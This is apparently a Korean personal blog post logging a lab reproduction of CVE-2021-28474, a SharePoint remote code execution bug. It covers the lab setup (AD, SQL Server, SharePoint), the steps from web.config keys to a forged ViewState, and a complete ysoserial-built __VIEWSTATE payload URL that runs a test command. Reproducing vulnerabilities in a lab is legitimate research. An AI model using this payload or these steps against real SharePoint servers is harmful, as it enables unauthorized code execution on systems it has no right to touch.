Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

의미없는 블로그

CVE-2021-28474 (Microsoft SharePoint Server RCE) 본문

# 나/exploit CVE

CVE-2021-28474 (Microsoft SharePoint Server RCE)

SaltLee 2023. 6. 27. 12:24

PoC : https://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict

 

쉐어포인트 서버에 web.config 있고

web.config 에 validationkeyvalidation 알고리즘이 있는데

얘네를 획득하면 ysoserial 툴로 페이로드 만들어서 RCE 시도할 수 있는것 같다

 

---------------------------------------------------------------------------------------------------------------

validationkey 랑 알고리즘은 이렇게 생김

SP_soap_RCE_PoC.exe 로 web.config 획득 (여기에서 validationkey, 알고리즘 확인)

ysoserial 로 페이로드 만드는거 

이거 페이로드 쉐어포인트 URL 파라미터에 넣어서 보내면 RCE 되는거

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=요기

---------------------------------------------------------------------------------------------------------------

 

1) SP_soap_RCE_PoC.exe 로 web.config 얻는거

쉐어포인트 계정 있어야 함 (사이트/하위 사이트 만들 수 있는 권한이면 되나봄)

 

SP_soap_RCE_PoC.exe [쉐어포인트 사이트] [아이디] [패스워드] [AD명] [페이지] 인가봄

> 아 이거 잘 안되넹

 

**SP_soap_RCE_PoC.exe 생성 (https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)

 

그 다음에 ysoserial 로 페이로드 생성하면 되는데 압축pw 1

ysoserial.zip
5.04MB

 

**ysoserial.exe 생성 (https://github.com/pwntester/ysoserial.net)

 

페이로드 생성되면

~~~/success.aspx?__VIEWSTATE= 파라미터에 넣어서 보내면 되나봄

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy2gcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAACsvYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9TUF9SQ0VfMDEudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUAAXgBAQEJCAAAAA0ADQAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBgsAAACSAVN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uU3RyaW5nXSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAAAIbXNjb3JsaWINAAYNAAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAAF4BwAAAAAAAAAAAAABAQEBAQABCA0ADQANAA0ADQAAAAAAAQoAAAAJAAAABhYAAAAHQ29tcGFyZQ0ABhgAAAANU3lzdGVtLlN0cmluZw0ADQAAAAAADQABEAAAAAgAAAAGGwAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJGAAAAAkWAAAAC5nTmz9vXHLF1C5DkWIPhsB4pP5YHhCaIK%2Bh79Fa4ZeW

 

 

[쉐어포인트 서버 설치 조건]

1) AD 서버 구성해야 함

2) SQL Server 설치해야 함 

3) 쉐어포인트 서버 설치 (라이센스 필요함)

 

GCP - Windows Server 2019 Datacenter 에서 함

 

AD 서버

1) Server Management 에서 Add roles.. 그거해서 Active Directory Domain 뭐시기 설치함

2) 설치할때 아마 Administrator 계정 비번 없으면 안넘어갈거임 비번 설정해주기

3) 설치하고 나면 '이 서버를 도메인 컨트롤러로 승격' 그거 눌러서 도메인 새로 생성해 줘야 함

4) 알아서 재부팅 되는데 네트워크 IP 고정으로 박아줘야 함 (DNS 는 127.0.0.1 로 둠)

5) 그러고 나면 네트워크가 AD 도메인으로 바뀜

6) 사용자 계정 만들려면 제어판 > Administrative Tools > Active Directory Users and Computers 요기인듯

 

참고 : https://bobocomi.tistory.com/110

AD 서버라 도메인 안붙여도 로긴 됨

 

SSMS

1) SQLServer2016-SSEI-Expr.exe 요거 깔면 되는데 (https://www.microsoft.com/ko-kr/sql-server/sql-server-downloads)

2) 설치 완료되면 SSMS도 깔거냐고 물어봄 이것도 깔면 됨

3) SSMS 따로 깔거면 (https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver16)

4) 로긴할때 서버 이름 비어있으면 에러로그에서 확인 (https://codepulse.tistory.com/46)

5) windows 든 sa 든 로긴 되는걸로 알아서 하면 되는데 

6) Security > Logins 에 계정 알아서 추가 되어있넹 없으면 추가해준다

 > 추가할 때 Server Roles 에서 권한 다 줘부러

 > User Mapping 에서도 다 체크해부러

 

나는 SSMS 먼저 깔고 SSEI 그거 깔았다

SSMS가 먼저 Microsoft SQL Server 폴더 쓰고 있어서 폴더명 Microsoft SQL Server2 로 설치해줬따

 

쉐어포인트

officeserver.img 다운로드 : https://www.microsoft.com/en-us/download/details.aspx?id=57462

설치 참고 : http://www.databaser.net/moniwiki/pds/MicrosoftSQLServerArticle/SharePoint_2010.pdf

설치 참고 : https://psy-hare.tistory.com/23

 

officeserver.img 그거 마운트하고 PrerequisiteInstaller.exe 부터 설치하면 되는데

IE 브라우저에 다운로드 설정 안되어 있으면 오류나나보다 

엣지 깔고 기본 브라우저로 설정한 담에 다시 하니까 됨

setup.exe 하면 되는데 재부팅 하라는 오류 떠서 재부팅 하고 다시 하니까 됨

설치하고 나면 알아서 재부팅되고 제품 구성 마법사 실행됨

여기서 SQL Server 로긴할때 서버 네임 입력해 주고

AD 계정 입력해 줌

Administrator 계정으로 로그인 해야되넹

 

[공격 PoC]

web.config 여러개 있는데 80 에 있는걸로 해야함

원래 원격에서 SP_soap_RCE_PoC.exe 로 web.config 획득하는건데 안돼서 직접 확인함

이건 공격자가 쉐어포인트 붙어서 소스코드에서 확인할 수 있음

validationKey, algorithm, ViesStateGenerator 값 합쳐서 페이로드 만듬

http://쉐어포인트 사이트/_layouts/15/success.aspx?__VIEWSTATE=페이로드 해서 날림

RCE 실행돼서 쉐어포인트 서버에 파일 생성됨

Comments